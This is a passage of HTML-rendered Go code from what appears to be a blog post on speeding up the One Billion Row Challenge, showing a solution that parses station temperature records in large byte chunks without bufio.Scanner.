&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">semicolon&lt;/span> = &lt;span style="color:#a6e22e">end&lt;/span> &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#ae81ff">6&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">line&lt;/span>[:&lt;span style="color:#a6e22e">semicolon&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[string(&lt;span style="color:#a6e22e">station&lt;/span>)]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[string(&lt;span style="color:#a6e22e">station&lt;/span>)] = &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">stats&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">max&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sum&lt;/span>: int64(&lt;span style="color:#a6e22e">temp&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">count&lt;/span>: &lt;span style="color:#ae81ff">1&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = min(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = max(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> int64(&lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>, len(&lt;span style="color:#a6e22e">stationStats&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> = append(&lt;span style="color:#a6e22e">stations&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sort&lt;/span>.&lt;span style="color:#a6e22e">Strings&lt;/span>(&lt;span style="color:#a6e22e">stations&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;{&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">stations&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;, &amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">mean&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span>) &lt;span style="color:#f92672">/&lt;/span> float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>) &lt;span style="color:#f92672">/&lt;/span> &lt;span style="color:#ae81ff">10&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprintf&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;%s=%.1f/%.1f/%.1f&amp;#34;&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>, float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>, &lt;span style="color:#a6e22e">mean&lt;/span>, float64(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>)&lt;span style="color:#f92672">/&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;}\n&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h5 id="solution-6-avoid-bufioscanner">Solution 6: avoid bufio.Scanner&lt;/h5>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-go" data-lang="go">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// r6: don&amp;#39;t use bufio.Scanner to avoid scanning some bytes twice&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">//&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#75715e">// ~399ms for 10M rows (2.52x as fast as r1)&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">package&lt;/span> &lt;span style="color:#a6e22e">main&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#f92672">import&lt;/span> (
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;bytes&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;fmt&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;io&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;os&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#e6db74">&amp;#34;sort&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#66d9ef">func&lt;/span> &lt;span style="color:#a6e22e">r6&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span> &lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#a6e22e">output&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">Writer&lt;/span>) &lt;span style="color:#66d9ef">error&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">type&lt;/span> &lt;span style="color:#a6e22e">stats&lt;/span> &lt;span style="color:#66d9ef">struct&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">count&lt;/span> &lt;span style="color:#66d9ef">int32&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#66d9ef">int64&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">f&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">os&lt;/span>.&lt;span style="color:#a6e22e">Open&lt;/span>(&lt;span style="color:#a6e22e">inputPath&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">defer&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Close&lt;/span>()
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stationStats&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make(&lt;span style="color:#66d9ef">map&lt;/span>[&lt;span style="color:#66d9ef">string&lt;/span>]&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#a6e22e">stats&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">buf&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">byte&lt;/span>, &lt;span style="color:#ae81ff">1024&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">1024&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">readStart&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">n&lt;/span>, &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">f&lt;/span>.&lt;span style="color:#a6e22e">Read&lt;/span>(&lt;span style="color:#a6e22e">buf&lt;/span>[&lt;span style="color:#a6e22e">readStart&lt;/span>:])
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> &lt;span style="color:#f92672">&amp;amp;&amp;amp;&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span> &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#a6e22e">io&lt;/span>.&lt;span style="color:#a6e22e">EOF&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">return&lt;/span> &lt;span style="color:#a6e22e">err&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">readStart&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#a6e22e">n&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunk&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">buf&lt;/span>[:&lt;span style="color:#a6e22e">readStart&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#a6e22e">n&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">newline&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">LastIndexByte&lt;/span>(&lt;span style="color:#a6e22e">chunk&lt;/span>, &lt;span style="color:#e6db74">&amp;#39;\n&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">newline&lt;/span> &amp;lt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">remaining&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">chunk&lt;/span>[&lt;span style="color:#a6e22e">newline&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunk&lt;/span> = &lt;span style="color:#a6e22e">chunk&lt;/span>[:&lt;span style="color:#a6e22e">newline&lt;/span>&lt;span style="color:#f92672">+&lt;/span>&lt;span style="color:#ae81ff">1&lt;/span>]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">station&lt;/span>, &lt;span style="color:#a6e22e">after&lt;/span>, &lt;span style="color:#a6e22e">hasSemi&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">bytes&lt;/span>.&lt;span style="color:#a6e22e">Cut&lt;/span>(&lt;span style="color:#a6e22e">chunk&lt;/span>, []byte(&lt;span style="color:#e6db74">&amp;#34;;&amp;#34;&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> !&lt;span style="color:#a6e22e">hasSemi&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">break&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#ae81ff">0&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">negative&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">false&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#e6db74">&amp;#39;-&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">negative&lt;/span> = &lt;span style="color:#66d9ef">true&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> int32(&lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">-&lt;/span> &lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>] &lt;span style="color:#f92672">!=&lt;/span> &lt;span style="color:#e6db74">&amp;#39;.&amp;#39;&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int32(&lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>]&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span>&lt;span style="color:#f92672">++&lt;/span> &lt;span style="color:#75715e">// skip &amp;#39;.&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#a6e22e">temp&lt;/span>&lt;span style="color:#f92672">*&lt;/span>&lt;span style="color:#ae81ff">10&lt;/span> &lt;span style="color:#f92672">+&lt;/span> int32(&lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>]&lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#e6db74">&amp;#39;0&amp;#39;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">index&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> &lt;span style="color:#ae81ff">2&lt;/span> &lt;span style="color:#75715e">// skip last digit and &amp;#39;\n&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">negative&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">temp&lt;/span> = &lt;span style="color:#f92672">-&lt;/span>&lt;span style="color:#a6e22e">temp&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">chunk&lt;/span> = &lt;span style="color:#a6e22e">after&lt;/span>[&lt;span style="color:#a6e22e">index&lt;/span>:]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[string(&lt;span style="color:#a6e22e">station&lt;/span>)]
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">==&lt;/span> &lt;span style="color:#66d9ef">nil&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[string(&lt;span style="color:#a6e22e">station&lt;/span>)] = &lt;span style="color:#f92672">&amp;amp;&lt;/span>&lt;span style="color:#a6e22e">stats&lt;/span>{
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">min&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">max&lt;/span>: &lt;span style="color:#a6e22e">temp&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sum&lt;/span>: int64(&lt;span style="color:#a6e22e">temp&lt;/span>),
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">count&lt;/span>: &lt;span style="color:#ae81ff">1&lt;/span>,
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> } &lt;span style="color:#66d9ef">else&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span> = min(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">min&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span> = max(&lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">max&lt;/span>, &lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">sum&lt;/span> &lt;span style="color:#f92672">+=&lt;/span> int64(&lt;span style="color:#a6e22e">temp&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span>.&lt;span style="color:#a6e22e">count&lt;/span>&lt;span style="color:#f92672">++&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">readStart&lt;/span> = copy(&lt;span style="color:#a6e22e">buf&lt;/span>, &lt;span style="color:#a6e22e">remaining&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> make([]&lt;span style="color:#66d9ef">string&lt;/span>, &lt;span style="color:#ae81ff">0&lt;/span>, len(&lt;span style="color:#a6e22e">stationStats&lt;/span>))
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">stations&lt;/span> = append(&lt;span style="color:#a6e22e">stations&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">sort&lt;/span>.&lt;span style="color:#a6e22e">Strings&lt;/span>(&lt;span style="color:#a6e22e">stations&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;{&amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">for&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span>, &lt;span style="color:#a6e22e">station&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#66d9ef">range&lt;/span> &lt;span style="color:#a6e22e">stations&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#66d9ef">if&lt;/span> &lt;span style="color:#a6e22e">i&lt;/span> &amp;gt; &lt;span style="color:#ae81ff">0&lt;/span> {
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">fmt&lt;/span>.&lt;span style="color:#a6e22e">Fprint&lt;/span>(&lt;span style="color:#a6e22e">output&lt;/span>, &lt;span style="color:#e6db74">&amp;#34;, &amp;#34;&lt;/span>)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> }
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#a6e22e">s&lt;/span> &lt;span style="color:#f92672">:=&lt;/span> &lt;span style="color:#a6e22e">stationStats&lt;/span>[&lt;span style="color:#a6e22e">station&lt;/span>]
